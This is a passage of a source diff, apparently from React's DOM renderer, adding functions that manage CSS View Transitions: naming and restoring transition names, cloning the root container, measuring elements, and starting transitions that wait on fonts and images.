+export function hideTextInstance(textInstance: TextInstance): void {
+  textInstance.nodeValue = '';
+}
+
+export function unhideDehydratedBoundary(
+  dehydratedInstance: SuspenseInstance | ActivityInstance,
+): void {
+  hideOrUnhideDehydratedBoundary(dehydratedInstance, false);
+}
+
+export function unhideInstance(instance: Instance, props: Props): void {
+  instance = ((instance: any): HTMLElement);
+  const styleProp = props[STYLE];
+  const display =
+    styleProp !== undefined &&
+    styleProp !== null &&
+    styleProp.hasOwnProperty('display')
+      ? styleProp.display
+      : null;
+  instance.style.display =
+    display == null || typeof display === 'boolean'
+      ? ''
+      : // The value would've errored already if it wasn't safe.
+        // eslint-disable-next-line react-internal/safe-string-coercion
+        ('' + display).trim();
+}
+
+export function unhideTextInstance(
+  textInstance: TextInstance,
+  text: string,
+): void {
+  textInstance.nodeValue = text;
+}
+
+function warnForBlockInsideInline(instance: HTMLElement) {
+  if (__DEV__) {
+    let nextNode = instance.firstChild;
+    outer: while (nextNode != null) {
+      let node: Node = nextNode;
+      if (
+        node.nodeType === ELEMENT_NODE &&
+        getComputedStyle((node: any)).display === 'block'
+      ) {
+        const fiber =
+          getInstanceFromNode(node) || getInstanceFromNode(instance);
+        runWithFiberInDEV(
+          fiber,
+          (parentTag: string, childTag: string) => {
+            console.error(
+              "You're about to start a <ViewTransition> around a display: inline " +
+                'element <%s>, which itself has a display: block element <%s> inside it. ' +
+                'This might trigger a bug in Safari which causes the View Transition to ' +
+                'be skipped with a duplicate name error.\n' +
+                'https://bugs.webkit.org/show_bug.cgi?id=290923',
+              parentTag.toLocaleLowerCase(),
+              childTag.toLocaleLowerCase(),
+            );
+          },
+          instance.tagName,
+          (node: any).tagName,
+        );
+        break;
+      }
+      if (node.firstChild != null) {
+        nextNode = node.firstChild;
+        continue;
+      }
+      if (node === instance) {
+        break;
+      }
+      while (node.nextSibling == null) {
+        if (node.parentNode == null || node.parentNode === instance) {
+          break;
+        }
+        node = node.parentNode;
+      }
+      nextNode = node.nextSibling;
+    }
+  }
+}
+
+function countClientRects(rects: Array<ClientRect>): number {
+  if (rects.length === 1) {
+    return 1;
+  }
+  // Count non-zero rects.
+  let count = 0;
+  for (let i = 0; i < rects.length; i++) {
+    const rect = rects[i];
+    if (rect.width > 0 && rect.height > 0) {
+      count++;
+    }
+  }
+  return count;
+}
+
+export function applyViewTransitionName(
+  instance: Instance,
+  name: string,
+  className: ?string,
+): void {
+  instance = ((instance: any): HTMLElement);
+  // If the name isn't valid CSS identifier, base64 encode the name instead.
+  // This doesn't let you select it in custom CSS selectors but it does work in current
+  // browsers.
+  const escapedName =
+    CSS.escape(name) !== name ? 'r-' + btoa(name).replace(/=/g, '') : name;
+  // $FlowFixMe[prop-missing]
+  instance.style.viewTransitionName = escapedName;
+  if (className != null) {
+    // $FlowFixMe[prop-missing]
+    instance.style.viewTransitionClass = className;
+  }
+  const computedStyle = getComputedStyle(instance);
+  if (computedStyle.display === 'inline') {
+    // WebKit has a bug where assigning a name to display: inline elements errors
+    // if they have display: block children. We try to work around this bug in the
+    // simple case by converting it automatically to display: inline-block.
+    // https://bugs.webkit.org/show_bug.cgi?id=290923
+    const rects = instance.getClientRects();
+    if (
+      // $FlowFixMe[incompatible-call]
+      countClientRects(rects) === 1
+    ) {
+      // If the instance has a single client rect, that means that it can be
+      // expressed as a display: inline-block or block.
+      // This will cause layout thrash but we live with it since inline view transitions
+      // are unusual.
+      const style = instance.style;
+      // If there's literally only one rect, then it's likely on a single line like an
+      // inline-block. If it's multiple rects but all but one of them are empty it's
+      // likely because it's a single block that caused a line break.
+      style.display = rects.length === 1 ? 'inline-block' : 'block';
+      // Margin doesn't apply to inline so should be zero. However, padding top/bottom
+      // applies to inline-block positioning which we can offset by setting the margin
+      // to the negative padding to get it back into original position.
+      style.marginTop = '-' + computedStyle.paddingTop;
+      style.marginBottom = '-' + computedStyle.paddingBottom;
+    } else {
+      // This case cannot be easily fixed if it has blocks but it's also fine if
+      // it doesn't have blocks. So we only warn in DEV about this being an issue.
+      warnForBlockInsideInline(instance);
+    }
+  }
+}
+
+export function restoreViewTransitionName(
+  instance: Instance,
+  props: Props,
+): void {
+  instance = ((instance: any): HTMLElement);
+  const style = instance.style;
+  const styleProp = props[STYLE];
+  const viewTransitionName =
+    styleProp != null
+      ? styleProp.hasOwnProperty('viewTransitionName')
+        ? styleProp.viewTransitionName
+        : styleProp.hasOwnProperty('view-transition-name')
+          ? styleProp['view-transition-name']
+          : null
+      : null;
+  // $FlowFixMe[prop-missing]
+  style.viewTransitionName =
+    viewTransitionName == null || typeof viewTransitionName === 'boolean'
+      ? ''
+      : // The value would've errored already if it wasn't safe.
+        // eslint-disable-next-line react-internal/safe-string-coercion
+        ('' + viewTransitionName).trim();
+  const viewTransitionClass =
+    styleProp != null
+      ? styleProp.hasOwnProperty('viewTransitionClass')
+        ? styleProp.viewTransitionClass
+        : styleProp.hasOwnProperty('view-transition-class')
+          ? styleProp['view-transition-class']
+          : null
+      : null;
+  // $FlowFixMe[prop-missing]
+  style.viewTransitionClass =
+    viewTransitionClass == null || typeof viewTransitionClass === 'boolean'
+      ? ''
+      : // The value would've errored already if it wasn't safe.
+        // eslint-disable-next-line react-internal/safe-string-coercion
+        ('' + viewTransitionClass).trim();
+  if (style.display === 'inline-block') {
+    // We might have overridden the style. Reset it to what it should be.
+    if (styleProp == null) {
+      style.display = style.margin = '';
+    } else {
+      const display = styleProp.display;
+      style.display =
+        display == null || typeof display === 'boolean' ? '' : display;
+      const margin = styleProp.margin;
+      if (margin != null) {
+        style.margin = margin;
+      } else {
+        const marginTop = styleProp.hasOwnProperty('marginTop')
+          ? styleProp.marginTop
+          : styleProp['margin-top'];
+        style.marginTop =
+          marginTop == null || typeof marginTop === 'boolean' ? '' : marginTop;
+        const marginBottom = styleProp.hasOwnProperty('marginBottom')
+          ? styleProp.marginBottom
+          : styleProp['margin-bottom'];
+        style.marginBottom =
+          marginBottom == null || typeof marginBottom === 'boolean'
+            ? ''
+            : marginBottom;
+      }
+    }
+  }
+}
+
+export function cancelViewTransitionName(
+  instance: Instance,
+  oldName: string,
+  props: Props,
+): void {
+  // To cancel the "new" state and paint this instance as part of the parent, all we have to do
+  // is remove the view-transition-name before we exit startViewTransition.
+  restoreViewTransitionName(instance, props);
+  // There isn't a way to cancel an "old" state but what we can do is hide it by animating it.
+  // Since it is already removed from the old state of the parent, this technique only works
+  // if the parent also isn't transitioning. Therefore we should only cancel the root most
+  // ViewTransitions.
+  const documentElement = instance.ownerDocument.documentElement;
+  if (documentElement !== null) {
+    documentElement.animate(
+      {opacity: [0, 0], pointerEvents: ['none', 'none']},
+      // $FlowFixMe[incompatible-call]
+      {
+        duration: 0,
+        fill: 'forwards',
+        pseudoElement: '::view-transition-group(' + oldName + ')',
+      },
+    );
+  }
+}
+
+export function cancelRootViewTransitionName(rootContainer: Container): void {
+  const documentElement: null | HTMLElement =
+    rootContainer.nodeType === DOCUMENT_NODE
+      ? (rootContainer: any).documentElement
+      : rootContainer.ownerDocument.documentElement;
+
+  if (
+    !disableCommentsAsDOMContainers &&
+    rootContainer.nodeType === COMMENT_NODE
+  ) {
+    if (__DEV__) {
+      console.warn(
+        'Cannot cancel root view transition on a comment node. All view transitions will be globally scoped.',
+      );
+    }
+    return;
+  }
+
+  if (
+    documentElement !== null &&
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName === ''
+  ) {
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName = 'none';
+    documentElement.animate(
+      {opacity: [0, 0], pointerEvents: ['none', 'none']},
+      // $FlowFixMe[incompatible-call]
+      {
+        duration: 0,
+        fill: 'forwards',
+        pseudoElement: '::view-transition-group(root)',
+      },
+    );
+    // By default the root ::view-transition selector captures all pointer events,
+    // which means nothing gets interactive. We want to let whatever is not animating
+    // remain interactive during the transition. To do that, we set the size to nothing
+    // so that the transition doesn't capture any clicks. We don't set pointer-events
+    // on this one as that would apply to all running transitions. This lets animations
+    // that are running to block clicks so that they don't end up incorrectly hitting
+    // whatever is below the animation.
+    documentElement.animate(
+      {width: [0, 0], height: [0, 0]},
+      // $FlowFixMe[incompatible-call]
+      {
+        duration: 0,
+        fill: 'forwards',
+        pseudoElement: '::view-transition',
+      },
+    );
+  }
+}
+
+export function restoreRootViewTransitionName(rootContainer: Container): void {
+  let containerInstance: Instance;
+  if (rootContainer.nodeType === DOCUMENT_NODE) {
+    containerInstance = (rootContainer: any).body;
+  } else if (rootContainer.nodeName === 'HTML') {
+    containerInstance = (rootContainer.ownerDocument.body: any);
+  } else {
+    // If the container is not the whole document, then we ideally should probably
+    // clone the whole document outside of the React too.
+    containerInstance = (rootContainer: any);
+  }
+  if (
+    !disableCommentsAsDOMContainers &&
+    containerInstance.nodeType === COMMENT_NODE
+  ) {
+    return;
+  }
+  if (
+    // $FlowFixMe[prop-missing]
+    containerInstance.style.viewTransitionName === 'root'
+  ) {
+    // If we moved the root view transition name to the container in a gesture
+    // we need to restore it now.
+    containerInstance.style.viewTransitionName = '';
+  }
+  const documentElement: null | HTMLElement =
+    containerInstance.ownerDocument.documentElement;
+  if (
+    documentElement !== null &&
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName === 'none'
+  ) {
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName = '';
+  }
+}
+
+function getComputedTransform(style: CSSStyleDeclaration): string {
+  // Gets the merged transform of all the short hands.
+  const computedStyle: any = style;
+  let transform: string = computedStyle.transform;
+  if (transform === 'none') {
+    transform = '';
+  }
+  const scale: string = computedStyle.scale;
+  if (scale !== 'none' && scale !== '') {
+    const parts = scale.split(' ');
+    transform =
+      (parts.length === 3 ? 'scale3d' : 'scale') +
+      '(' +
+      parts.join(', ') +
+      ') ' +
+      transform;
+  }
+  const rotate: string = computedStyle.rotate;
+  if (rotate !== 'none' && rotate !== '') {
+    const parts = rotate.split(' ');
+    if (parts.length === 1) {
+      transform = 'rotate(' + parts[0] + ') ' + transform;
+    } else if (parts.length === 2) {
+      transform =
+        'rotate' + parts[0].toUpperCase() + '(' + parts[1] + ') ' + transform;
+    } else {
+      transform = 'rotate3d(' + parts.join(', ') + ') ' + transform;
+    }
+  }
+  const translate: string = computedStyle.translate;
+  if (translate !== 'none' && translate !== '') {
+    const parts = translate.split(' ');
+    transform =
+      (parts.length === 3 ? 'translate3d' : 'translate') +
+      '(' +
+      parts.join(', ') +
+      ') ' +
+      transform;
+  }
+  return transform;
+}
+
+function moveOutOfViewport(
+  originalStyle: CSSStyleDeclaration,
+  element: HTMLElement,
+): void {
+  // Apply a transform that safely puts the whole element outside the viewport
+  // while still letting it paint its "old" state to a snapshot.
+  const transform = getComputedTransform(originalStyle);
+  // Clear the long form properties.
+  // $FlowFixMe
+  element.style.translate = 'none';
+  // $FlowFixMe
+  element.style.scale = 'none';
+  // $FlowFixMe
+  element.style.rotate = 'none';
+  // Apply a translate to move it way out of the viewport. This is applied first
+  // so that it is in the coordinate space of the parent and not after applying
+  // other transforms. That's why we need to merge the long form properties.
+  // TODO: Ideally we'd adjust for the parent's rotate/scale. Otherwise when
+  // we move back the ::view-transition-group we might overshoot or undershoot.
+  element.style.transform = 'translate(-20000px, -20000px) ' + transform;
+}
+
+function moveOldFrameIntoViewport(keyframe: any): void {
+  // In the resulting View Transition Animation, the first frame will be offset.
+  const computedTransform: ?string = keyframe.transform;
+  if (computedTransform != null) {
+    let transform = computedTransform === 'none' ? '' : computedTransform;
+    transform = 'translate(20000px, 20000px) ' + transform;
+    keyframe.transform = transform;
+  }
+}
+
+export function cloneRootViewTransitionContainer(
+  rootContainer: Container,
+): Instance {
+  // This implies that we're not going to animate the root document but instead
+  // the clone so we first clear the name of the root container.
+  const documentElement: null | HTMLElement =
+    rootContainer.nodeType === DOCUMENT_NODE
+      ? (rootContainer: any).documentElement
+      : rootContainer.ownerDocument.documentElement;
+  if (
+    documentElement !== null &&
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName === ''
+  ) {
+    // $FlowFixMe[prop-missing]
+    documentElement.style.viewTransitionName = 'none';
+  }
+
+  let containerInstance: HTMLElement;
+  if (rootContainer.nodeType === DOCUMENT_NODE) {
+    containerInstance = (rootContainer: any).body;
+  } else if (rootContainer.nodeName === 'HTML') {
+    containerInstance = (rootContainer.ownerDocument.body: any);
+  } else if (
+    !disableCommentsAsDOMContainers &&
+    rootContainer.nodeType === COMMENT_NODE
+  ) {
+    throw new Error(
+      'Cannot use a startGestureTransition() with a comment node root.',
+    );
+  } else {
+    // If the container is not the whole document, then we ideally should probably
+    // clone the whole document outside of the React too.
+    containerInstance = (rootContainer: any);
+  }
+
+  const containerParent = containerInstance.parentNode;
+  if (containerParent === null) {
+    throw new Error(
+      'Cannot use a startGestureTransition() on a detached root.',
+    );
+  }
+
+  const clone: HTMLElement = containerInstance.cloneNode(false);
+
+  const computedStyle = getComputedStyle(containerInstance);
+
+  if (
+    computedStyle.position === 'absolute' ||
+    computedStyle.position === 'fixed'
+  ) {
+    // If the style is already absolute, we don't have to do anything because it'll appear
+    // in the same place.
+  } else {
+    // Otherwise we need to absolutely position the clone in the same location as the original.
+    let positionedAncestor: HTMLElement = containerParent;
+    while (
+      positionedAncestor.parentNode != null &&
+      positionedAncestor.parentNode.nodeType !== DOCUMENT_NODE
+    ) {
+      if (getComputedStyle(positionedAncestor).position !== 'static') {
+        break;
+      }
+      // $FlowFixMe: This is refined.
+      positionedAncestor = positionedAncestor.parentNode;
+    }
+
+    const positionedAncestorStyle: any = positionedAncestor.style;
+    const containerInstanceStyle: any = containerInstance.style;
+    // Clear the transform while we're measuring since it affects the bounding client rect.
+    const prevAncestorTranslate = positionedAncestorStyle.translate;
+    const prevAncestorScale = positionedAncestorStyle.scale;
+    const prevAncestorRotate = positionedAncestorStyle.rotate;
+    const prevAncestorTransform = positionedAncestorStyle.transform;
+    const prevTranslate = containerInstanceStyle.translate;
+    const prevScale = containerInstanceStyle.scale;
+    const prevRotate = containerInstanceStyle.rotate;
+    const prevTransform = containerInstanceStyle.transform;
+    positionedAncestorStyle.translate = 'none';
+    positionedAncestorStyle.scale = 'none';
+    positionedAncestorStyle.rotate = 'none';
+    positionedAncestorStyle.transform = 'none';
+    containerInstanceStyle.translate = 'none';
+    containerInstanceStyle.scale = 'none';
+    containerInstanceStyle.rotate = 'none';
+    containerInstanceStyle.transform = 'none';
+
+    const ancestorRect = positionedAncestor.getBoundingClientRect();
+    const rect = containerInstance.getBoundingClientRect();
+
+    const cloneStyle = clone.style;
+    cloneStyle.position = 'absolute';
+    cloneStyle.top = rect.top - ancestorRect.top + 'px';
+    cloneStyle.left = rect.left - ancestorRect.left + 'px';
+    cloneStyle.width = rect.width + 'px';
+    cloneStyle.height = rect.height + 'px';
+    cloneStyle.margin = '0px';
+    cloneStyle.boxSizing = 'border-box';
+
+    positionedAncestorStyle.translate = prevAncestorTranslate;
+    positionedAncestorStyle.scale = prevAncestorScale;
+    positionedAncestorStyle.rotate = prevAncestorRotate;
+    positionedAncestorStyle.transform = prevAncestorTransform;
+    containerInstanceStyle.translate = prevTranslate;
+    containerInstanceStyle.scale = prevScale;
+    containerInstanceStyle.rotate = prevRotate;
+    containerInstanceStyle.transform = prevTransform;
+  }
+
+  // For this transition the container will act as the root. Nothing outside of it should
+  // be affected anyway. This lets us transition from the cloned container to the original.
+  // $FlowFixMe[prop-missing]
+  clone.style.viewTransitionName = 'root';
+
+  // Move out of the viewport so that it's still painted for the snapshot but is not visible
+  // for the frame where the snapshot happens.
+  moveOutOfViewport(computedStyle, clone);
+
+  // Insert the clone after the root container as a sibling. This may inject a body
+  // as the next sibling of an existing body. document.body will still point to the
+  // first one and any id selectors will still find the first one. That's why it's
+  // important that it's after the existing node.
+  containerInstance.parentNode.insertBefore(
+    clone,
+    containerInstance.nextSibling,
+  );
+
+  return clone;
+}
+
+export function removeRootViewTransitionClone(
+  rootContainer: Container,
+  clone: Instance,
+): void {
+  let containerInstance: Instance;
+  if (rootContainer.nodeType === DOCUMENT_NODE) {
+    containerInstance = (rootContainer: any).body;
+  } else if (rootContainer.nodeName === 'HTML') {
+    containerInstance = (rootContainer.ownerDocument.body: any);
+  } else {
+    // If the container is not the whole document, then we ideally should probably
+    // clone the whole document outside of the React too.
+    containerInstance = (rootContainer: any);
+  }
+  const containerParent = containerInstance.parentNode;
+  if (containerParent === null) {
+    throw new Error(
+      'Cannot use a startGestureTransition() on a detached root.',
+    );
+  }
+  // We assume that the clone is still within the same parent.
+  containerParent.removeChild(clone);
+
+  // Now the root is on the containerInstance itself until we call restoreRootViewTransitionName.
+  containerInstance.style.viewTransitionName = 'root';
+}
+
+export type InstanceMeasurement = {
+  rect: ClientRect | DOMRect,
+  abs: boolean, // is absolutely positioned
+  clip: boolean, // is a clipping parent
+  view: boolean, // is in viewport bounds
+};
+
+function createMeasurement(
+  rect: ClientRect | DOMRect,
+  computedStyle: CSSStyleDeclaration,
+  element: Element,
+): InstanceMeasurement {
+  const ownerWindow = element.ownerDocument.defaultView;
+  return {
+    rect: rect,
+    abs:
+      // Absolutely positioned instances don't contribute their size to the parent.
+      computedStyle.position === 'absolute' ||
+      computedStyle.position === 'fixed',
+    clip:
+      // If a ViewTransition boundary acts as a clipping parent group we should
+      // always mark it to animate if its children do so that we can clip them.
+      // This doesn't actually have any effect yet until browsers implement
+      // layered capture and nested view transitions.
+      computedStyle.clipPath !== 'none' ||
+      computedStyle.overflow !== 'visible' ||
+      computedStyle.filter !== 'none' ||
+      computedStyle.mask !== 'none' ||
+      computedStyle.mask !== 'none' ||
+      computedStyle.borderRadius !== '0px',
+    view:
+      // If the instance was within the bounds of the viewport. We don't care as
+      // much about if it was fully occluded because then it can still pop out.
+      rect.bottom >= 0 &&
+      rect.right >= 0 &&
+      rect.top <= ownerWindow.innerHeight &&
+      rect.left <= ownerWindow.innerWidth,
+  };
+}
+
+export function measureInstance(instance: Instance): InstanceMeasurement {
+  const rect = instance.getBoundingClientRect();
+  const computedStyle = getComputedStyle(instance);
+  return createMeasurement(rect, computedStyle, instance);
+}
+
+export function measureClonedInstance(instance: Instance): InstanceMeasurement {
+  const measuredRect = instance.getBoundingClientRect();
+  // Adjust the DOMRect based on the translate that put it outside the viewport.
+  // TODO: This might not be completely correct if the parent also has a transform.
+  const rect = new DOMRect(
+    measuredRect.x + 20000,
+    measuredRect.y + 20000,
+    measuredRect.width,
+    measuredRect.height,
+  );
+  const computedStyle = getComputedStyle(instance);
+  return createMeasurement(rect, computedStyle, instance);
+}
+
+export function wasInstanceInViewport(
+  measurement: InstanceMeasurement,
+): boolean {
+  return measurement.view;
+}
+
+export function hasInstanceChanged(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  // Note: This is not guaranteed from the same instance in the case that the Instance of the
+  // ViewTransition swaps out but it's still the same ViewTransition instance.
+  if (newMeasurement.clip) {
+    // If we're a clipping parent, we always animate if any of our children do so that we can clip
+    // them. This doesn't yet until browsers implement layered capture and nested view transitions.
+    return true;
+  }
+  const oldRect = oldMeasurement.rect;
+  const newRect = newMeasurement.rect;
+  return (
+    oldRect.y !== newRect.y ||
+    oldRect.x !== newRect.x ||
+    oldRect.height !== newRect.height ||
+    oldRect.width !== newRect.width
+  );
+}
+
+export function hasInstanceAffectedParent(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  // Note: This is not guaranteed from the same instance in the case that the Instance of the
+  // ViewTransition swaps out but it's still the same ViewTransition instance.
+  // If the instance has resized, it might have affected the parent layout.
+  if (newMeasurement.abs) {
+    // Absolutely positioned elements don't affect the parent layout, unless they
+    // previously were not absolutely positioned.
+    return !oldMeasurement.abs;
+  }
+  const oldRect = oldMeasurement.rect;
+  const newRect = newMeasurement.rect;
+  return oldRect.height !== newRect.height || oldRect.width !== newRect.width;
+}
+
+// How long to wait for new fonts to load before just committing anyway.
+// This freezes the screen. It needs to be short enough that it doesn't cause too much of
+// an issue when it's a new load and slow, yet long enough that you have a chance to load
+// it. Otherwise we wait for no reason. The assumption here is that you likely have
+// either cached the font or preloaded it earlier.
+// This timeout is also used for Suspensey Images when they're blocking a View Transition.
+const SUSPENSEY_FONT_AND_IMAGE_TIMEOUT = 500;
+
+function customizeViewTransitionError(
+  error: Object,
+  ignoreAbort: boolean,
+): mixed {
+  if (typeof error === 'object' && error !== null) {
+    switch (error.name) {
+      case 'TimeoutError': {
+        // We assume that the only reason a Timeout can happen is because the Navigation
+        // promise. We expect any other work to either be fast or have a timeout (fonts).
+        if (__DEV__) {
+          // eslint-disable-next-line react-internal/prod-error-codes
+          return new Error(
+            'A ViewTransition timed out because a Navigation stalled. ' +
+              'This can happen if a Navigation is blocked on React itself. ' +
+              "Such as if it's resolved inside useEffect. " +
+              'This can be solved by moving the resolution to useLayoutEffect.',
+            {cause: error},
+          );
+        }
+        break;
+      }
+      case 'AbortError': {
+        if (ignoreAbort) {
+          return null;
+        }
+        if (__DEV__) {
+          // eslint-disable-next-line react-internal/prod-error-codes
+          return new Error(
+            'A ViewTransition was aborted early. This might be because you have ' +
+              'other View Transition libraries on the page and only one can run at ' +
+              "a time. To avoid this, use only React's built-in <ViewTransition> " +
+              'to coordinate.',
+            {cause: error},
+          );
+        }
+        break;
+      }
+      case 'InvalidStateError': {
+        if (
+          error.message ===
+            'View transition was skipped because document visibility state is hidden.' ||
+          error.message ===
+            'Skipping view transition because document visibility state has become hidden.' ||
+          error.message ===
+            'Skipping view transition because viewport size changed.' ||
+          // Chrome uses a generic error message instead of specific reasons. It will log a
+          // more specific reason in the console but the user might not look there.
+          // Some of these errors are important to surface like duplicate name errors but
+          // it's too noisy for unactionable cases like the document was hidden. Therefore,
+          // we hide all of them and hopefully it surfaces in another browser.
+          error.message === 'Transition was aborted because of invalid state'
+        ) {
+          // Skip logging this. This is not considered an error.
+          return null;
+        }
+        break;
+      }
+    }
+  }
+  return error;
+}
+
+/** @noinline */
+function forceLayout(ownerDocument: Document) {
+  // This function exists to trick minifiers to not remove this unused member expression.
+  return (ownerDocument.documentElement: any).clientHeight;
+}
+
+function waitForImageToLoad(this: HTMLImageElement, resolve: () => void) {
+  // TODO: Use decode() instead of the load event here once the fix in
+  // https://issues.chromium.org/issues/420748301 has propagated fully.
+  this.addEventListener('load', resolve);
+  this.addEventListener('error', resolve);
+}
+
+export function startViewTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  layoutCallback: () => void,
+  afterMutationCallback: () => void,
+  spawnedWorkCallback: () => void,
+  passiveCallback: () => mixed,
+  errorCallback: mixed => void,
+  blockedCallback: string => void, // Profiling-only
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  const ownerDocument: Document =
+    rootContainer.nodeType === DOCUMENT_NODE
+      ? (rootContainer: any)
+      : rootContainer.ownerDocument;
+  try {
+    // $FlowFixMe[prop-missing]
+    const transition = ownerDocument.startViewTransition({
+      update() {
+        // Note: We read the existence of a pending navigation before we apply the
+        // mutations. That way we're not waiting on a navigation that we spawned
+        // from this update. Only navigations that started before this commit.
+        const ownerWindow = ownerDocument.defaultView;
+        const pendingNavigation =
+          ownerWindow.navigation && ownerWindow.navigation.transition;
+        // $FlowFixMe[prop-missing]
+        const previousFontLoadingStatus = ownerDocument.fonts.status;
+        mutationCallback();
+        const blockingPromises: Array<Promise<any>> = [];
+        if (previousFontLoadingStatus === 'loaded') {
+          // Force layout calculation to trigger font loading.
+          forceLayout(ownerDocument);
+          if (
+            // $FlowFixMe[prop-missing]
+            ownerDocument.fonts.status === 'loading'
+          ) {
+            // The mutation lead to new fonts being loaded. We should wait on them before continuing.
+            // This avoids waiting for potentially unrelated fonts that were already loading before.
+            // Either in an earlier transition or as part of a sync optimistic state. This doesn't
+            // include preloads that happened earlier.
+            blockingPromises.push(ownerDocument.fonts.ready);
+          }
+        }
+        const blockingIndexSnapshot = blockingPromises.length;
+        if (suspendedState !== null) {
+          // Suspend on any images that still haven't loaded and are in the viewport.
+          const suspenseyImages = suspendedState.suspenseyImages;
+          let imgBytes = 0;
+          for (let i = 0; i < suspenseyImages.length; i++) {
+            const suspenseyImage = suspenseyImages[i];
+            if (!suspenseyImage.complete) {
+              const rect = suspenseyImage.getBoundingClientRect();
+              const inViewport =
+                rect.bottom > 0 &&
+                rect.right > 0 &&
+                rect.top < ownerWindow.innerHeight &&
+                rect.left < ownerWindow.innerWidth;
+              if (inViewport) {
+                imgBytes += estimateImageBytes(suspenseyImage);
+                if (imgBytes > estimatedBytesWithinLimit) {
+                  // We don't think we'll be able to download all the images within
+                  // the timeout. Give up. Rewind to only block on fonts, if any.
+                  blockingPromises.length = blockingIndexSnapshot;
+                  break;
+                }
+                const loadingImage = new Promise(
+                  waitForImageToLoad.bind(suspenseyImage),
+                );
+                blockingPromises.push(loadingImage);
+              }
+            }
+          }
+        }
+        if (blockingPromises.length > 0) {
+          if (enableProfilerTimer) {
+            const blockedReason =
+              blockingIndexSnapshot > 0
+                ? blockingPromises.length > blockingIndexSnapshot
+                  ? 'Waiting on Fonts and Images'
+                  : 'Waiting on Fonts'
+                : 'Waiting on Images';
+            blockedCallback(blockedReason);
+          }
+          const blockingReady = Promise.race([
+            Promise.all(blockingPromises),
+            new Promise(resolve =>
+              setTimeout(resolve, SUSPENSEY_FONT_AND_IMAGE_TIMEOUT),
+            ),
+          ]).then(layoutCallback, layoutCallback);
+          const allReady = pendingNavigation
+            ? Promise.allSettled([pendingNavigation.finished, blockingReady])
+            : blockingReady;
+          return allReady.then(afterMutationCallback, afterMutationCallback);
+        }
+        layoutCallback();
+        if (pendingNavigation) {
+          return pendingNavigation.finished.then(
+            afterMutationCallback,
+            afterMutationCallback,
+          );
+        } else {
+          afterMutationCallback();
+        }
+      },
+      types: transitionTypes,
+    });
+    // $FlowFixMe[prop-missing]
+    ownerDocument.__reactViewTransition = transition;
+
+    const viewTransitionAnimations: Array<Animation> = [];
+
+    const readyCallback = () => {
+      const documentElement: Element = (ownerDocument.documentElement: any);
+      // Loop through all View Transition Animations.
+      // $FlowFixMe[prop-missing]
+      const animations = documentElement.getAnimations({subtree: true});
+      for (let i = 0; i < animations.length; i++) {
+        const animation = animations[i];
+        const effect: KeyframeEffect = (animation.effect: any);
+        // $FlowFixMe
+        const pseudoElement: ?string = effect.pseudoElement;
+        if (
+          pseudoElement != null &&
+          pseudoElement.startsWith('::view-transition')
+        ) {
+          viewTransitionAnimations.push(animation);
+          const keyframes = effect.getKeyframes();
+          // Next, we're going to try to optimize this animation in case the auto-generated
+          // width/height keyframes are unnecessary.
+          let width;
+          let height;
+          let unchangedDimensions = true;
+          for (let j = 0; j < keyframes.length; j++) {
+            const keyframe = keyframes[j];
+            const w = keyframe.width;
+            if (width === undefined) {
+              width = w;
+            } else if (width !== w) {
+              unchangedDimensions = false;
+              break;
+            }
+            const h = keyframe.height;
+            if (height === undefined) {
+              height = h;
+            } else if (height !== h) {
+              unchangedDimensions = false;
+              break;
+            }
+            // We're clearing the keyframes in case we are going to apply the optimization.
+            delete keyframe.width;
+            delete keyframe.height;
+            if (keyframe.transform === 'none') {
+              delete keyframe.transform;
+            }
+          }
+          if (
+            unchangedDimensions &&
+            width !== undefined &&
+            height !== undefined
+          ) {
+            // Replace the keyframes with ones that don't animate the width/height.
+            // $FlowFixMe
+            effect.setKeyframes(keyframes);
+            // Read back the new animation to see what the underlying width/height of the pseudo-element was.
+            const computedStyle = getComputedStyle(
+              // $FlowFixMe
+              effect.target,
+              // $FlowFixMe
+              effect.pseudoElement,
+            );
+            if (
+              computedStyle.width !== width ||
+              computedStyle.height !== height
+            ) {
+              // Oops. Turns out that the pseudo-element had a different width/height so we need to let it
+              // be overridden. Add it back.
+              const first = keyframes[0];
+              first.width = width;
+              first.height = height;
+              const last = keyframes[keyframes.length - 1];
+              last.width = width;
+              last.height = height;
+              // $FlowFixMe
+              effect.setKeyframes(keyframes);
+            }
+          }
+        }
+      }
+      spawnedWorkCallback();
+    };
+    const handleError = (error: mixed) => {
+      // $FlowFixMe[prop-missing]
+      if (ownerDocument.__reactViewTransition === transition) {
+        // $FlowFixMe[prop-missing]
+        ownerDocument.__reactViewTransition = null;
+      }
+      try {
+        error = customizeViewTransitionError(error, false);
+        if (error !== null) {
+          errorCallback(error);
+        }
+      } finally {
+        // Continue the reset of the work.
+        // If the error happened in the snapshot phase before the update callback
+        // was invoked, then we need to first finish the mutation and layout phases.
+        // If they're already invoked it's still safe to call them due the status check.
+        mutationCallback();
+        layoutCallback();
+        // Skip afterMutationCallback() since we're not animating.
+        spawnedWorkCallback();
+        if (enableProfilerTimer) {
+          finishedAnimation();
+        }
+      }
+    };
+    transition.ready.then(readyCallback, handleError);
+    transition.finished.finally(() => {
+      for (let i = 0; i < viewTransitionAnimations.length; i++) {
+        // In Safari, we need to manually cancel all manually started animations
+        // or it'll block or interfer with future transitions.
+        // We can't use getAnimations() due to #35336 so we collect them in an array.
+        viewTransitionAnimations[i].cancel();
+      }
+      // $FlowFixMe[prop-missing]
+      if (ownerDocument.__reactViewTransition === transition) {
+        // $FlowFixMe[prop-missing]
+        ownerDocument.__reactViewTransition = null;
+      }
+      if (enableProfilerTimer) {
+        finishedAnimation();
+      }
+      passiveCallback();
+    });
+    return transition;
+  } catch (x) {
+    // We use the error as feature detection.
+    // The only thing that should throw is if startViewTransition is missing
+    // or if it doesn't accept the object form. Other errors are async.
+    // I.e. it's before the View Transitions v2 spec. We only support View
+    // Transitions v2 otherwise we fallback to not animating to ensure that
+    // we're not animating with the wrong animation mapped.
+    // Flush remaining work synchronously.
+    mutationCallback();
